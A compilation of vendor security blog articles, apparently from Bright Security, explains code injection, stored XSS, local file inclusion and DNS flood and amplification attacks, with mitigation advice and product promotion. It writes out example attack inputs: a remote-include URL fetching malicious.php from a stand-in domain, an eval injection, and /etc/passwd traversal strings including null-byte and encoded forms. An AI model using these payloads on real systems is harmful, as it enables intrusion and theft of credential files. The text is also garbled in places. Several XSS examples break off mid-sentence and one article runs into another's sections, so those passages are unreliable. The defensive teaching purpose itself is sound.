Code Injection in Brief: Types, Examples, and Mitigation

What Is Code Injection?

Code injection refers to attacks that involve injecting malicious code into an application. The application then interprets or executes the code, affecting the performance and function of the application. Code injection attacks typically exploit existing data vulnerabilities, such as insecure handling of data from untrusted sources. 

Code injection attacks are different from command injection attacks, because in code injection attackers are limited only by the functionality of the language they inject. For example, attackers who can inject and execute PHP can accomplish anything that PHP allows. Command injection involves exploiting an application’s existing code to carry out malicious commands, typically using a remote shell.

Code injection often takes advantage of improper validation of input and output data—for instance, data format, expected data volume, and permitted characters. 

In this article:

How Code Injection Attacks Work

Code injection vulnerabilities usually affect applications with improper input validation and risky dynamic evaluation of user-submitted input. This input includes all data that a user can submit or manipulate and the application processes. In addition to directly submitted input (i.e., file uploads, fields in a form), attackers can leverage data sources outside the developer’s control (i.e., cookies, parameters in query strings). 

Applications typically expect specific input types, which the developer might not validate or sanitize. The risk is especially high if the production application contains debugging or testing code.

Applications with code injection vulnerabilities use the unsanitized data directly in their program code. Depending on the language used, an application might use functions such as eval(). Directly concatenating strings supplied by users is not considered a safe processing practice. Attackers may exploit this type of vulnerability and input malicious code strings in the application’s language. 

Successful code injection attacks may grant full access to attackers via the interpreter on the server side. Attackers can then execute code on the server and use applications with system access to escalate the attack. For example, vulnerable applications with system call access may allow an attacker to execute system commands—known as a command injection attack.  

Types of Code Injection Attacks

Here are some of the main types of code injection attacks.

XSS Attack

A cross site scripting (XSS) attack involves injecting malicious scripts into web apps and websites, which the user’s device then executes. XSS allows attackers to impersonate legitimate users and bypass security controls. They can use an initially benign website or application as an attack vector, delivering malicious scripts to the user’s web browsers without arousing suspicion. 

Attackers use XXS to steal session cookies and identifiers, user names, or passwords.

Most programming languages and environments may be vulnerable to XSS, including JavaScript, Flash, and ActiveX. JavaScript, for example, is common in web pages and integrates well with most browsers, making it an attractive target for malicious actors. 

LDAP Injection

These attacks use the Lightweight Directory Access Protocol (LDAP) to search network resources, including users, devices, and files. An LDAP injection attack may result in unvalidated LDAP statements directing the server to execute malicious commands.

SQL Injection 

These attacks exploit the Structured Query Language (SQL), a standard language for database communication. Attackers can use SQL injection to target almost all databases in all programming languages, including XML.

Attackers can inject malicious commands using the SQL syntax. They can compromise queries to view or modify databases. Some developers design fields where users can submit expanded results in SQL to access sensitive information like passwords. 

Command Injection

A command injection attack is a subject of code injection where the attacker executes arbitrary (malicious) commands on the host operating system. Command injection might involve directly executing shell commands or injecting files into the runtime environment of a server.

Attackers typically exploit an existing application vulnerability to inject the commands—for example, the application might poorly transmit user data like forms and cookies, facilitating command injection into the web server’s system shell. 

Code Injection Attack Examples

The following examples are based on code provided by the OWASP project.

Passing Malicious Script via GET Request

Consider a website that switches pages using a URL parameter:

http://example.com/index.php?page=contact.php

Inside the code, the PHP include() function is used to parse the page contents with no input validation. In this case, an attacker can replace contact.php with a malicious script hosted on another domain. For example, the attacker can access the website using this URL:

http://example.com/?page=http://otherdomain.com/malicious.php

The website will then pull the malicious.php script via the include() function and execute it—this constitutes a command injection attack.

Running System Commands via URL Parameter

Consider a website that extracts a value from a URL parameter and applies the eval() 

function to examine its content:

$var = "some_string";
$a = $_GET['arg'];
eval("$var = $a;");

If there is no input validation on URL parameters, the attacker can inject a command into the parameter:

http://example.com/index.php?arg=1; phpinfo()

The page will then evaluate the expression arg=1; phpinfo() and run the system command planted by the attacker. This is another form of code injection attack.

Learn more in these guides:

Best Practices for Preventing Code Injection Attacks

Here are some best practices to help organizations protect their applications from code injection attacks:

  • Validate user input with allow lists—allow listing provides tight security control over the types of data or input processed by an application. It is easy to set up and helps minimize the risk of malicious code execution, limiting an attacker’s ability to inject untrusted code.
  • Escape outputs—escaping involves encoding contextual HTML outputs to translate malicious input into safe representatives. Applications can safely display escaped scripts without the risk of executing malicious code.
  • Enforce language separation with static type systems—a static type system allows the security team to establish declarative control checks without minimal runtime overhead. 
  • Interpret user input with criteria-based APIs and parameterized queries—this method prevents APIs from accepting any unspecified user string values. Parameterized queries treat malicious command inputs as data strings rather than SQL commands.  
  • Keep the source code free of insecure functions—developers should avoid including any vulnerable code constructs in source code. They should only use dedicated, secure features for processing user-submitted inputs, restricting the code permitted to specific languages.
  • Disable script interaction from the client side—placing the HttpOnly flag on a cookie indicates it should be inaccessible from the client side. The server should use this flag on all cookies it creates to prevent their exposure to a third party and protect against HTML injection vulnerabilities.
  • Identify and remediate issues with SCA tools—software composition analysis (SCA) tools let teams automatically check static to identify and eliminate potential injection vectors in the source code.
  • Avoid using Javascript code serialization packages—code serialization allows developers to rearrange input data according to regular expressions and functions. Still, Javascript serialization packages do not always enable proper sanitization against unsafe characters in regular expressions. Developers should generally avoid serialization wherever possible.

Code Injection with Bright

Bright Security automatically crawls your applications to test for code injection vulnerabilities including XSS, SQLi, LDAP injection and Command injection, giving you maximum coverage, seamlessly integrated across development pipelines.

Engineering and security teams can trust Bright’s results, with automatic validation of every code injection finding carried out, with no false positives. Bright’s reports come with comprehensive developer friendly remediation advice to fix the issue quickly and early.

Get a free Bright account and start testing today!

Stored XSS: Impact, Examples, and Prevention

What Is Stored XSS (Cross Site Scripting)?

XSS is an attack technique that injects malicious code into vulnerable web applications. Unlike other attacks, this technique does not target the web server itself, but the user’s browser. 

Stored XSS is a type of XSS that stores malicious code on the application server. Using stored XSS is only possible if your application is designed to store user input—a classic example is a message board or social media website. 

In this article:

How Does a Stored XSS Attack Work?

A stored XSS attack typically works as follows:

  1. An attacker injects malicious code in a request to submit content to the application. 
  2. The application believes the request is innocent, processes the user input and stores it in the database. 
  3. From this point onwards, every time the submitted content is displayed to users, the malicious code executes on their browsers.

Depending on the type of payload and the vulnerabilities present in the user’s browser, stored XSS attacks can allow attackers to:

  • Hijack the user’s session and perform actions on their behalf
  • Steal the user’s credentials
  • Hijacking the user’s browser or delivering browser-based exploits
  • Obtain sensitive information stored in the user’s account or in their browser
  • Port scanning of hosts the web application can connect to
  • Website defacement

Why Is Stored XSS Dangerous?

Stored XSS (also known as second-order XSS) is the most dangerous type of cross-site scripting attack. The reason is that it does not require users to click a malicious link or perform any activity, other than browsing to a legitimate web page. Once an attacker discovers a stored XSS vulnerability and injects XSS code into the database, all visitors to affected pages are compromised, until the exploit is discovered.

Stored XSS attacks are even more significant in websites that require authentication. When an authenticated user visits a page with stored XSS, attackers are usually able to hijack their session and perform actions on their behalf. On some websites, such as those of financial or medical institutions, this can result in financial loss or exposure of highly sensitive data.

The most damaging scenario is when the user exposed to stored XSS is a highly privileged user, such as the administrator of the web application or other systems. Attackers may be able to obtain the session authentication token, gaining admin-level access to the network.

While stored XSS attacks are severe, they are also quite rare, because an attacker needs to find a combination of a website with high traffic, which also accepts user inputs, and suffers from an XSS vulnerability. 

Stored XSS Attack Example

Consider an attacker browsing a retail website. The attacker notices a vulnerability that allows HTML tags to be included in the comments section, including the

The comment is published on the page and every time the page loads for a visitor, the malicious script runs. In this case, the script is designed to steal a visitor’s session cookie, meaning the attacker can take over a user’s account. This gives them access to credit card and other personal data, and also lets them make purchases on behalf of the user.

What is important to realize is that any visitor who clicks through to a page where this comment appears, even if they don’t scroll down to the comment section, will be affected by the attack without knowing it. This is in contrast to a reflected XSS attack, in which victims must click a malicious link to be affected. This means stored XSS can impact many more website users, including those who are security conscious and careful about clicking unknown links.

See real life examples of attacks in our guide to XSS attacks

How to Find and Test for Stored XSS Vulnerabilities

There are multiple website vulnerability scanners available that can automatically detect stored XSS vulnerabilities. Dynamic Application Security Testing (DAST) tools like Bright go one step further, exercising user inputs and demonstrating if the vulnerability can be exploited or not.

Can you test for stored XSS manually?

Testing for stored XSS vulnerabilities manually can be difficult. A stored XSS vulnerability means that an entry point, where the application accepts user input, connects to an exit point where that input is displayed to a user.

Systematically testing for stored XSS means inspecting all entry points via HTTP request headers, URL query string and message body, URL path, or specific application functionality such as commenting, messaging, or any submission of data via forms. 

Large web applications may have a large number of entry points. The main challenge is that the tester cannot foresee which exit point will display a user input. For example, user-provided display names can appear in multiple places in the user interface, in an audit log, and in many other locations. 

Stored XSS testing method

  • Identifying entry points to the application
  • Submitting inputs into each entry point
  • Checking to see where the application displays those entry points
  • Ensuring that the displayed content is persistent across sessions, and not only shown for the current session
  • Testing the XSS payload itself, like in a reflected XSS attack

Related content: Read our guide to XSS vulnerabilities

Stored XSS Prevention

There are several factors to keep in mind to help you prevent stored XSS: 

  • Secure handling of user input—you must never implicitly trust input submitted by a user. Inspect all user-submitted input to ensure it doesn’t include risky characters that may affect how a user’s browser interprets the data on your website. Implement thorough input validation and ensure characters are output-escaped.
  • Request blocking—you can allow or block user-submitted input based on its risk of containing a malicious payload. For example, if the input contains The result is: Not found: / (but with JavaScript code )

    Detecting and Testing for XSS with Bright

    While Dynamic Application Security Testing (DAST) tools are able to test for some XSS vulnerabilities, they are often limited and produce a high ratio of false positives.

    Bright can automatically crawl your applications to test for reflected, stored and DOM-based XSS vulnerabilities, giving you maximum coverage, seamlessly integrated across development pipelines.

    Engineering and security teams can trust Bright’s results, with automatic validation of every XSS finding carried out, with no false positives. Bright even generates a screenshot proof of concept along with comprehensive developer friendly remediation advice to fix the issue quickly and early.

    Get a free Bright account and start testing today!

Local File Inclusion (LFI): Understanding and Preventing LFI Attacks

Table of Contents

  1. What is Local File Inclusion (LFI)?
  2. How Do Local File Inclusions Work?
  3. Scenarios Where Local File Inclusions Are Used
  4. Manually Testing for Local File Inclusion
  5. Impact of Exploited Local File Inclusion Vulnerabilities
  6. Preventing Local File Inclusion vulnerabilities
  7. Common Real-World Examples of Local File Inclusion (LFI) Attacks
  8. Local File Inclusion vs Remote File Inclusion (LFI vs RFI)
  9. Tools and Techniques Used to Detect LFI Vulnerabilities
  10. Best Practices for Secure File Handling in Web Applications
  11. How Bright Can Help You Find LFI Vulnerabilities

What is Local File Inclusion (LFI)?

Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server. LFI attacks can expose sensitive information, and in severe cases, they can lead to cross-site scripting (XSS) and remote code execution. LFI is listed as one of the OWASP Top 10 web application vulnerabilities.

File inclusions are a key to any server-side scripting language, and allow the content of files to be used as part of web application code. Here is an example of how LFI can enable attackers to extract sensitive information from a server. If the application uses code like this, which includes the name of a file in the URL:

https://example-site.com/?module=contact.php

An attacker can change the URL to look like this:

https://example-site.com/?module=/etc/passwd

And in the absence of proper filtering, the server will display the sensitive content of the /etc/passwd file.

As LFIs help an attacker trick a web application into either running or exposing files on a web server, a local file inclusion attack can lead to cross-site scripting (XSS) and remote code execution (RFI) vulnerabilities.

This is part of an extensive series of guides about application security

How Do Local File Inclusions Work?

When an application uses a file path as an input, the app treats that input as trusted and safe. A local file can then be injected into the included statement. This happens when your code is vulnerable. In this case, a hacker makes a request that fools the app into executing a malicious PHP script (web shell for example). 

In some cases, if the application provides the ability to upload files, attackers can run any server-side malicious code they want. Most applications do not provide this capability, and even if they do, the attacker cannot guarantee that the app saves the file on the server where the LFI vulnerability is located. The attacker will also need to know the file path to their uploaded file on the server file system.

Impact of Exploited Local File Inclusion vulnerabilities

The impact of a Local File Inclusion attack can vary based on the exploitation and the read permissions of the webserver user. Based on these factors, an attacker can gather usernames via an /etc/passwd file, harvest useful information from log files, or combine this vulnerability with other attack vectors (such as file upload vulnerability) to execute commands remotely.

Let’s take a closer look at three possible outcomes of local file inclusion:

1. Information disclosure

Although not the worst outcome of a local file inclusion vulnerability, information disclosure can reveal important information about the application and its configuration. That information can be valuable to an attacker to gain a deeper understanding of the application and can help them detect and exploit other vulnerabilities.

2. Directory Traversal

A local file inclusion vulnerability can lead to Directory Traversal attacks, where an attacker will try to find and access files on the web server to gain more useful information, such as log files. Log files can reveal the structure of the application or expose paths to sensitive files.

An incorrectly configured server can give attackers access to user config files, giving them access to other files on your server, or even gain administrator access. 

If you want to learn more about directory traversal, we have a great article that covers this vulnerability in more depth – Directory Traversal: Examples, Testing, and Prevention

3. Remote Code Execution

Combined with a file upload vulnerability, a Local File vulnerability can lead to remote code execution. In this case the attacker would use LFI to execute the unwanted file.

To compound matters, an attacker can upload a file to the server to gain the ability to execute commands remotely, resulting in the attacker being able to control the whole server remotely.

Learn more in our detailed guide to file inclusion vulnerability.

Scenarios Where Local File Inclusions Are Used

Including Files to be Parsed by the Language’s Interpreter

Developers usually divide a website’s code into directories, multiple files, etc. to make everything neat and readable. In order for an interpreter to find these files you need to designate the correct file path and then pass it to a function. The function then opens the file in question and includes it inside the document for the parser to be able to see it as valid code that can be interpreted.

What happens when there’s no effective filtering? Well, code like this:

https://example-site.com/?module=contact.php

Can be changed to look like this:

https://example-site.com/?module=/etc/passwd

As you can see, the contact.php part of the code was replaced with /etc/passwd. Passwords, username information, the attacker can see the content of everything depending on what they are looking for. That’s not all, as more severe cases include the injection of code on the webserver. The parser then interprets this code as an instruction that can exploit an LFI vulnerability. Some hackers can use the Local File Inclusion vulnerability to stage a directory traversal/path traversal attack that in turn gives the hacker full access to error.log and access.log or some other type of sensitive meta-data.

Including Files that are Printed to a Page

A developer sometimes wants to share the output of a file across multiple web pages. A header. file or something similar. To keep things quick, a dev wants the change of this file to be seen on all pages where it was included immediately. This file, while standardly plain HTML, can also be used to display ordinary text files:

https://example-site.com/?helpfile=login.txt

This way the content of the text file gets printed straight to the page. The information isn’t stored in any database. A hacker will exploit this and alter the link if no filter stops them. Then helpfile=login.txt becomes helpfile=../secret/.htpasswd and all of a sudden the hacker has access to the password hashes of a .htpasswd file. A file that includes all the credentials of any user that can access a restricted area of that webserver. Naturally, this information falling into the hands of a hacker is a terrible thing for a company and is a severe security threat.

Including Files that are Served as Downloads

Lastly, we have types of files that all web browsers automatically open. A PDF, for example. Users can configure this so the files get downloaded instead of shown in the browser window. That’s achieved by adding an additional header that tells the browser to do things differently. A simple Content-Disposition: attachment; filename=file.pdf addition in the request and now the files are downloaded instead of opened. An example would look something like this:

https://example-site.com/?download=brochure.pdf

An issue arises when the request isn’t sanitized. This way the hacker has the option of requesting the download of the base files (the building blocks of the web app). They can then read the source code and find other web application vulnerabilities, making that hacker an enormous threat to your cybersecurity.

Related content: Read our guide to lfi attack.

Manually Testing for Local File Inclusion

Here are a few ways to test for LFI vulnerabilities in your web applications.

Null Byte Injection

The terms “null character”, “null terminator”, and “null byte” all refer to a control character where the value zero is present in the reserved character sets used to mark the end of the string. The null byte ensures that any character following it is ignored. 

Typically, a null byte is injected as %00 at the end of a URL. Here is an example:

https://example-site.com/preview.php?file=../../../../../passwd%00

Path and Dot Truncation

The majority of PHP installations limit filenames to 4096 bytes. If a filename is longer, PHP truncates it and discards all additional characters. However, attackers can remove the 4096 bytes limitation from the .php extension, manipulating the process. In this case, no error is triggered, additional characters are dropped, and the PHP engine continues its execution.

Typically, attackers combine this bypass with other logic bypass techniques. For example, attackers might introduce double encoding, encode part of a file path with Unicode, or use other inputs that represent a valid filename.

PHP Wrappers

LFI vulnerabilities usually give attackers read-only access to sensitive data, granted from the host server. There are, however, ways to turn this read-only access into a fully compromised host. This type of attack is called Remote Code Execution (RCE). Attackers create RCE vulnerabilities by combining an LFI vulnerability with PHP wrappers. 

A wrapper is an entity that surrounds another entity (in this case – code). The wrapper can contain functionality added to the original code. PHP uses built-in wrappers, which are implemented alongside file system functions. Attackers use this native functionality of PHP to add vulnerabilities into wrappers.

Here are two commonly used wrappers:

  • PHP filter – provides access to a local file system. Attackers use this filter to read PHP files containing source code, typically for the purpose of identifying sensitive information, including credentials.
  • PHP ZIP – this wrapper was designed to manipulate files compressed into a ZIP format. However, its behavior enables attackers to create a malicious ZIP file and upload it to the server. 

There are many more wrappers that could be exploited by attackers. Some PHP wrapper vulnerabilities are well known while others require deep ad hoc analysis to be discovered.

Preventing Local File Inclusion vulnerabilities

Here are a few ways to prevent LFI attacks:

  • ID assignation – save your file paths in a secure database and give an ID for every single one, this way users only get to see their ID without viewing or altering the path
  • Whitelisting  – use verified and secured whitelist files and ignore everything else
  • Use databases – don’t include files on a web server that can be compromised, use a database instead
  • Better server instructions – make the server send download headers automatically instead of executing files in a specified directory

Common Real-World Examples of Local File Inclusion (LFI) Attacks

A Local File Inclusion attack does not look like a big deal at first. It often starts with something like a file parameter in a URL. For example, if a web application loads pages using something like ?page=home.php, an attacker might try replacing that value with system files. This is a Local File Inclusion attack.

In life, attackers use inputs like../../../../etc/passwd to access sensitive files on the server. If the web application does not properly check the paths, it ends up showing data. Sometimes the goal is not just to read files. Local File Inclusion attackers may use this to access logs or temporary files that contain code, which can lead to the code being executed.

What makes Local File Inclusion tricky is that it looks normal. It is just file access. It is slightly manipulated. That small mistake is often enough to cause problems.

Local File Inclusion vs Remote File Inclusion (LFI vs RFI)

When people first learn about a Local File Inclusion attack, they often get it mixed up with Remote File Inclusion. The difference is small but important. In Local File Inclusion, the attacker can only access files that are already on the server. They are basically navigating the system in ways they should not be.

Remote File Inclusion, on the other hand, allows attackers to load files from an external source. This means an attacker can host a script somewhere else and force the web application to execute it. It is generally more dangerous, but less common, because modern web applications block it by default.

Local File Inclusion is still widely seen because it does not require access, just poor input handling. In cases, Local File Inclusion attackers use this with other techniques to make the impact worse, turning simple file access into something more serious. Local File Inclusion is a problem because it can be used to access files on the server.

Tools and Techniques Used to Detect LFI Vulnerabilities

Finding a Local File Inclusion vulnerability usually starts with testing how the web application handles file paths. One simple method is to change parameters and see how the web application responds. If changing a file path shows data that is a sign of a problem.

Security testers often use tools like Burp Suite to intercept requests and try bad inputs. Automated scanners can also help. They do not always catch deeper issues, especially if the vulnerability depends on specific conditions.

Another common technique is to try file paths like directory traversal patterns or encoded inputs. Logs and error messages can also provide clues. Detection is not about finding access; it is about understanding how far that access goes and whether it can be abused further. Local File Inclusion detection is important to prevent attackers from accessing files.

Best Practices for Secure File Handling in Web Applications

Preventing a Local File Inclusion attack mostly comes down to controlling how files are accessed in the web application. The safest approach is to avoid using direct user input in file paths. Instead, map inputs to predefined values.

For example, when accepting a file name, use a fixed list of allowed options. This removes the risk of file access. Input validation also plays a role. Relying only on filters can be risky. Local File Inclusion prevention is important to secure the web application.

Developers should also restrict file system permissions so that even if something goes wrong, the damage is limited. Avoid exposing directories and disable unnecessary file inclusion features. These steps may seem small. Together, they significantly reduce the chances of Local File Inclusion vulnerabilities being exploited. Local File Inclusion is an issue that can be prevented with proper security measures.

How Bright Can Help You Find LFI Vulnerabilities

Bright can help you scan web applications to make sure no one tinkered with the code and tried to use Local File Inclusion to steal sensitive information. 

Bright is an automated black-box security testing solution that scans your entire application on its own, identifies any vulnerabilities, then notifies you of their existence and tells you how to remedy them. Bright saves time by finding LFI vulnerabilities and telling you how to fix them. For example, in the example below:

https://example-site/bar/file=content.ini..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

Bright shows the original part of the code in red. The green part of the code is the one that was altered by someone. Our tool also provides remedy guidelines that can help a developer or SecOps team member instantly remediate the vulnerability. 

Learn more about Bright and get started today!

See Additional Guides on Key Application Security Topics

Together with our content partners, we have authored in-depth guides on several other topics that can also be useful as you explore the world of application security.

Vulnerability Management

Authored by Bright Security

API Security

Authored by Bright Security

SSRF

Authored by Bright Security

What is Persistent (Stored) XSS and How it works

What is Persistent (Stored) XSS

There are several types of cross site scripting (XSS) attacks to be concerned about, however the most dangerous XSS attack type is Persistent XSS, also known as stored XSS. 

A Persistent XSS attack is possible when an attacker uses a vulnerable website or web application to inject malicious code which is stored and later automatically served to other users who visit the web page. It is because this input was not validated before storing and embedding content into HTML responses, that the application is vulnerable.

To understand other common XSS attacks and how they work, read our previous article: What is XSS? Impact, Types and Prevention

In this article:

Why is Persistent XSS Dangerous?

Persistent XSS is particularly dangerous because it targets websites that receive user content into their database. So forums, blogs with enabled comments, CRM / ERP Systems, web-based email servers or clients, or any other type of website where users can share their content. 

If not dealt with properly, Persistent / Stored XSS attacks can have a devastating and continuing effect on your applications. Much like a pandemic – once it’s set up on the victim’s website, anyone who comes in contact with the website can be affected. The unassuming visitor does not need to click on a malicious link to run the payload (as is the case with Non-Persistent XSS). All they have to do is visit a vulnerable web page.

How Persistent XSS Attacks Work

The attack starts when an attacker steals the visitor’s session cookies. Say that you own a website that sells sports equipment. These eCommerce sites often have user reviews as an option where everyone can leave their review and post it on the website.


A malicious user could post a snippet of JavaScript code into your reviews section and submit the comment. For example, a comment could be something like:

“I loved the shoes!

This is all that’s required for an attacker to spread the malicious code to every visitor using this link, and is why Reflected XSS is so dangerous and widespread.  Additionally, it doesn’t even need to store the data to the servers of the web application, allowing it to fly under the radar.

DOM-based XSS

Dom-based cross site scripting is mainly used for hijacking the user sessions, allowing the attacker to gain unauthorized access to the website. 

An  attacker sends the malicious code to vulnerable functions such as eval(), prompting JavaScript to execute the code via the said function. As a consequence, the victim application runs the malicious script, giving the attacker access. 

Stored XSS

Stored XSS attacks use HTTP requests to gain unauthorized access and exploit vulnerabilities on the website. 

Simply put, the attacker exploits the lack of input sanitation and manages to add malicious JavaScript code to the request. If the website requests an input field, the lack of proper sanitation allows the attacker to introduce this code, exploiting vulnerabilities on the website. 

Any user that opens the affected page of the website is affected,  given that the malicious code executes in the browser. 

How XSS Vulnerability Happens in JavaScript

There are multiple ways to inject an XSS vulnerability in JavaScript. In fact, JavaScript is the weak point of most websites and applications, given that JavaScript can dynamically add content to the rendered page. If an  attacker manages to send their own snippet of JavaScript code to the server, it will execute and result in potentially dangerous attacks to your web application. 

The primary cause for this is due to a lack of input sanitisation by the developer. This occurs predominantly with contact forms or similar input fields. If they aren’t handled properly, the attacker can inject their malicious code into that input field, causing the website to run the malicious code.

A good example of a dangerous snippet of code on a website is innerHTML. This allows the attacker to directly modify the website by sending malicious data via JavaScript, and executing it using innerHTML. 

How to Prevent Cross Site Scripting Attacks in JavaScript

There are a few popular methods in preventing Cross Site Scripting attacks:

  • Input validation
  • WAF (Web Application Firewall)
  • Content security policy

Input Validation

The best way to prevent cross site scripting attacks is to ensure every input field is validated.

You should always replace sensitive characters that may cause disruption with their entities. Even though they display the same way, entities cannot generate HTML, saving you potential failures in the future. 

There are many ways in which you can validate the user’s input using JavaScript, such as using vanillaJS, or  external libraries such as jQuery’s validator, which is highly regarded for its simplicity in practical terms. 

Even though it’s often impossible to do so, try restricting the user input to a specified list whenever you can, such as when selecting a currency, country, etc.

WAF

Another method of defending against XSS, as well as various other attacks, is by using a Web application firewall (WAF).  which continuously monitor and intercept these attacks. However, WAFs should be used as a last-resort defensive measure and do not offer 100% protection – being secure by design should be your main priority.

Content Security Policy

Creating content security policy (CSP) is perhaps the most efficient way of preventing XSS and other  vulnerabilities. It prevents XSS by white-listing URLs the browser can load and execute JavaScript from. By specifying specific CSP directives, the server prevents the browser from executing any JavaScript that comes from an untrusted URL. The CSP works as a white list, where only domains listed are allowed to execute and everything else is blocked.

XSS Protection in JavaScript with Bright

As a developer, being able to easily detect and fix XSS issues before they hit production is a must.

With Bright you can easily detect XSS, either as a standalone scanner or fully and seamlessly integrated into your development pipelines, with NO false positives. 

Sign up for a FREE account here to start scanning your web applications and APIs today 

DNS Flood DDoS Attack: How it Works and How to Protect Yourself

What Is DNS Flood Attack?

DNS Flood is a DNS attack in which cybercriminals use the Domain Name System (DNS) protocol to carry out a version of User Datagram Protocol (UDP) flood. Cybercriminals deploy valid but spoofed DNS request packets at an extremely high packet rate and create an extremely large group of source IP addresses. 

Because these look like valid requests, the target’s DNS servers start to respond to every request. The DNS server may be overwhelmed by the sheer number of requests. The DNS attack takes up great amounts of network resources that tire out the DNS infrastructure until it is taken offline, causing the target’s internet access to go down with it. 

In this article:

DNS Flood vs DNS Amplification vs UDP Flood

DNS flood attacks must be clearly distinguished from DNS amplification attacks. DNS amplification is an asymmetrical DDoS attack – it involves a cybercriminal sending a look-up query with spoofed target IP, causing the spoofed target to be the receiver of greater DNS responses. With such attacks, the cybercriminal’s aim is to saturate the network by over-taxing bandwidth capacity on an ongoing basis. 

A DNS flood  is a symmetrical DDoS attack. Such attacks aim to tire-out server-side assets (such as CPU or memory) using a flood of UDP requests, which are created by scripts running on compromised bonet machines. 

A DNS flood attack is considered a variation of the UDP flood attack, because DNS servers use the UDP protocol for name resolution. This is classified as a Layer 7 attack. For UDP-based queries (as distinct from TCP queries), the attack prevents the creation of an entire circuit, making it easier to achieve spoofing. 

Learn more in our detailed guides to DNS amplification attacks

How Does a DNS Flood Attack Work?

The Domain Name System translates between domain names that are easy to remember (for instance example.com) and website server addresses that are difficult to remember (for instance 192.168.0.1). A successful attack on DNS infrastructure can thus make the internet unusable for most users. 

DNS flood attacks are a relatively new form of DNS attack, which has grown with the increase of high bandwidth IoT botnets such as Mirai.  

DNS flood attacks leverage the high bandwidth connection of various IoT devices like DVR boxes and IP cameras to bombard the DNS servers of a provider. The amount of requests from IoT devices floods the DNS provider’s services and stops valid users from gaining access to the provider’s DNS servers. 

DNS amplification attacks differ from other DNS flood attacks. DNS amplification amplifies and reflects traffic off unsecured DNS servers to conceal the origin of the attack and to increase its success. 

DNS amplification attacks send large volumes of requests to unsecured DNS servers, using devices with small bandwidth connections. The devices forward multiple small requests for extremely large DNS records, while attackers redirect the return address to the targeted victim’s address. Amplification lets cybercriminals attack larger targets using only limited resources. 

Another major type of DNS flood attack is DNS NXDOMAIN flood attack, whereby the cybercriminal floods the DNS server with requests for records which are invalid or nonexistent. The DNS server uses up all its resources searching for these records, its cache becomes full of bad requests, and in the end it has no resources to deploy legitimate requests.

Learn more in our detailed guide to dns flood attack.

DNS Flood Attack Mitigation Approaches

If the cybercriminal makes use of a huge amount of IP addresses, they may bypass various anomaly detection algorithms. This can make it difficult to mitigate DNS flood attacks. 

However, there are various approaches you can use to mitigate this kind of attack: 

  • Keep your DNS resolver private – ensure your resolver is not exposed to external users. You should restrict its usage to internal network users alone, which will prevent its cache from being contaminated by cybercriminals from outside your organization. 
  • Use a DDoS mitigation service – irrespective of where you retain your DNS servers, they are always prone to DDoS attack, which may cause your services to be unreachable and make business disruptions. To stop DNS DDoS Flooding, use a DDoS mitigation service from a trusted third party. This service may help to stop some of the unwanted traffic and make sure your DNS services stay reachable.
  • Use a patch management solution – this is an essential tool for DNS flood attack mitigation. Cybercriminals often take advantage of vulnerabilities and loopholes in software, so you need to run patches regularly. Keep name servers up-to-date and patched to prevent them from being subject to known vulnerabilities.
  • Utilize a dedicated DNS server – small organizations generally host their DNS server alongside their application server to save money, but this makes the likelihood of DNS flood DDoS attacks greater. It is best to run your DNS services on a dedicated server.
  • Carry out DNS audits – with time, organizations often forget about their outdated subdomains. You might be using old software, or software that is vulnerable to exploitation. Regular auditing of DNS zones will offer an insight into DNS-related vulnerabilities, letting you understand what needs to be addressed.

Learn more in our detailed guide to dns tunneling.

DNS Flood Attack with Bright

Bright automatically scans your apps and APIs for hundreds of vulnerabilities, including DNS security issues.

The generated reports are false-positive free, as Bright validates every finding before reporting it to you. The reports come with clear remediation guidelines for your team and thanks to Bright’s integration with ticketing tools like Jira, assigning a finding to a developer for fixing is easily done.

Try Bright for free – Register for a Bright account

DNS Amplification Attack: How they Work, Detection and Mitigation

What Is a DNS Amplification Attack?

DNS amplification is a type of DNS attack that performs Distributed Denial of Service (DDoS) on a target server. It involves cybercriminals exploiting publicly available, open DNS servers to overwhelm a target with DNS response traffic. 

The attacker sends a DNS lookup request to an open DNS server, where the source address is spoofed to become the target address. When the DNS server returns the DNS record response, it is relayed to the new target, controlled by the attacker.

In this article:

How Does a DNS Amplification Attack Work?

In a DNS amplification attack, cybercriminals exploit the everyday functioning of the Domain Name System (DNS), turning it into a weapon that can damage the victim’s website. The aim is to bombard the site with fake DNS search requests, which take up network bandwidth until the website fails.  

For an example of how DNS works, look at the following scenario: 

  1. The user enters www.example.com into a browser – DNS is the internet service that receives that request, locates the IP address given to the domain name, and transfers it back to the browser, permitting the client to connect to the site.  
  2. There is a particular method for locating that address, starting with the user’s computer examining its local cache:
    1. If not found, query the given ISP’s DNS servers 
    2. If still not found, systematically go through the DNS resolvers throughout the internet up to the time this IP address is located. 
  3. At first, an organization’s network generally resolves DNS requests in relation to its employees, however, the internet includes many “open”, publicly accessible DNS resolvers which are capable of resolving DNS requests for anybody – including cybercriminals. Cybercriminals make use of these open resolvers, and can send fake requests without drawing attention. 

The attacker’s aim is to turn relatively small DNS requests into extremely large responses. A common DNS request (a few lines of text) is very small (typically in the tens of bytes) and gives a response that is only a bit larger.  

The next steps for an attacker typically look like this:

  1. The attacker crafts DNS requests in a manner that dramatically amplifies the size of the response. One means of doing this is to request not only the IP address for a website such as www.example.com, but data about the whole domain (for instance, using DNS requests for the record kind “ANY”). 
  2. The response could feature details about backup servers, subdomains, aliases, mail servers and more. 
  3. All of a sudden, a 10-byte DNS request might create a response that is 10, 20, or even 50 times greater. 

Learn more in our detailed guide to dns tunneling.

DNS Reflection-Amplification Attacks

A common DDoS attack type that is currently widely employed is the combined reflection-amplification attack, which lets cybercriminals generate higher-volume attacks by making use of two processes: 

  • Reflection attack – the attacker spoofs a target’s IP address and dispatches the request for data, mainly via the UDP, or the TCP. The server reacts to the request, and responds by answering the target’s IP address. This “reflection” – making use of the same protocol in two directions – is why it is named a reflection attack. All servers operating TCP- or UDP-based services may be targeted to be a reflector
  • Amplification attack – a large volume of packets is generated, flooding the target website without the intermediary noticing. This takes place when a poorly protected service responds with a sizable reply once the cybercriminal sends their request, generally known as a trigger packet. Attackers can use tools to send thousands of such requests to poorly protected services, which causes responses that are noticeably bigger than the primary request. This significantly amplifies the bandwidth and size given to a target, either through multiple response packets to a single packet, or with larger packets compared to the original. 

A reflection-amplification attack makes use of both, letting cybercriminals both increase the volume of malicious traffic they are able to generate and hide the sources of the attack traffic. Typically, these attacks depend on millions of exposed UDP/TCP-based services, for example, DNS, SNMP, NTP and SSDP. 

As with all DDoS attacks, reflection-amplification attacks are created to flood the target system, creating out-and-out shutdown or disruption of services.

